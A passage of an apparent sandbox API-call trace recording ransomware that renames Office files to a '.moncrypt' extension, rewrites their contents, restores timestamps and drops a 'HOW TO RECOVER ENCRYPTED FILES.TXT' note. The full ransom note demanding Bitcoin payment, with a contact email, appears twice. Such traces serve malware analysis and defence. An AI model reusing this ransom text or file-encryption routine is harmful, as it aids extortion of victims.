(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", dwFileAttributes=0x20) returned 1 [0047.713] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0047.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.moncrypt")) returned 1 [0047.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.714] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.714] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x545 [0047.714] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.714] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x545, lpOverlapped=0x0) returned 1 [0047.751] GlobalLock (hMem=0x44000c) returned 0x555358 [0047.751] GlobalLock (hMem=0x440004) returned 0x557368 [0047.751] GlobalHandle (pMem=0x555358) returned 0x44000c [0047.751] GlobalUnlock (hMem=0x44000c) returned 0 [0047.751] GlobalHandle (pMem=0x557368) returned 0x440004 [0047.751] GlobalUnlock (hMem=0x440004) returned 0 [0047.752] GlobalLock (hMem=0x440004) returned 0x555358 [0047.752] GlobalHandle (pMem=0x555358) returned 0x440004 [0047.752] GlobalUnlock (hMem=0x440004) returned 0 [0047.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.763] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0047.763] CloseHandle (hObject=0x190) returned 1 [0047.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0047.764] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0047.764] GlobalLock (hMem=0x440004) returned 0x555358 [0047.764] GlobalHandle (pMem=0x555358) returned 0x440004 [0047.764] GlobalUnlock (hMem=0x440004) returned 0 [0047.764] GlobalLock (hMem=0x440004) returned 0x555358 [0047.764] GlobalLock (hMem=0x44000c) returned 0x557368 [0047.764] GlobalHandle (pMem=0x555358) returned 0x440004 [0047.764] GlobalUnlock (hMem=0x440004) returned 0 [0047.764] GlobalHandle (pMem=0x557368) returned 0x44000c [0047.764] GlobalUnlock (hMem=0x44000c) returned 0 [0047.764] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557368, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69418, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.764] GetLastError () returned 0x2 [0047.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.765] WriteFile (in: hFile=0x190, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0047.775] CloseHandle (hObject=0x190) returned 1 [0047.775] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0047.775] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.775] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.775] GlobalLock (hMem=0x44000c) returned 0x555358 [0047.775] GlobalHandle (pMem=0x555358) returned 0x44000c [0047.775] GlobalUnlock (hMem=0x44000c) returned 0 [0047.775] GlobalLock (hMem=0x44000c) returned 0x555358 [0047.776] GlobalLock (hMem=0x440004) returned 0x557368 [0047.776] GlobalHandle (pMem=0x555358) returned 0x44000c [0047.776] GlobalUnlock (hMem=0x44000c) returned 0 [0047.776] GlobalHandle (pMem=0x557368) returned 0x440004 [0047.776] GlobalUnlock (hMem=0x440004) returned 0 [0047.776] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.776] CharLowerBuffW (in: lpsz="AccessMUISet.XML", cchLength=0x10 | out: lpsz="accessmuiset.xml") returned 0x10 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0047.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", cchWideChar=109, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpUsedDefaultChar=0x0) returned 109 [0047.777] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0047.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpUsedDefaultChar=0x0) returned 4 [0047.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 0x54e280 [0047.777] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0047.777] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0047.777] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", dwFileAttributes=0x20) returned 1 [0047.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0047.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.moncrypt")) returned 1 [0047.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.779] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.779] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x333 [0047.779] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.779] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x333, lpOverlapped=0x0) returned 1 [0047.781] GlobalLock (hMem=0x440004) returned 0x555460 [0047.781] GlobalLock (hMem=0x44000c) returned 0x557470 [0047.781] GlobalHandle (pMem=0x555460) returned 0x440004 [0047.781] GlobalUnlock (hMem=0x440004) returned 0 [0047.781] GlobalHandle (pMem=0x557470) returned 0x44000c [0047.781] GlobalUnlock (hMem=0x44000c) returned 0 [0047.781] GlobalLock (hMem=0x44000c) returned 0x555460 [0047.781] GlobalHandle (pMem=0x555460) returned 0x44000c [0047.781] GlobalUnlock (hMem=0x44000c) returned 0 [0047.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.792] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0047.793] CloseHandle (hObject=0x190) returned 1 [0047.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0047.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXTL") returned 34 [0047.793] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.793] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.793] GlobalUnlock (hMem=0x44000c) returned 0 [0047.793] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.793] GlobalLock (hMem=0x440004) returned 0x557578 [0047.793] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.793] GlobalUnlock (hMem=0x44000c) returned 0 [0047.793] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.793] GlobalUnlock (hMem=0x440004) returned 0 [0047.793] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc01720, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3dc01720, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dc27880, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0047.793] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0047.794] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0047.794] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.794] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.794] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0047.794] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.794] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.794] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0047.794] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.794] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0047.794] CloseHandle (hObject=0x190) returned 1 [0047.794] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0047.794] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.794] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.795] GlobalLock (hMem=0x440004) returned 0x555568 [0047.795] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.795] GlobalUnlock (hMem=0x440004) returned 0 [0047.795] GlobalLock (hMem=0x440004) returned 0x555568 [0047.795] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.795] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.795] GlobalUnlock (hMem=0x440004) returned 0 [0047.795] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.795] GlobalUnlock (hMem=0x44000c) returned 0 [0047.795] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.795] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0047.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", 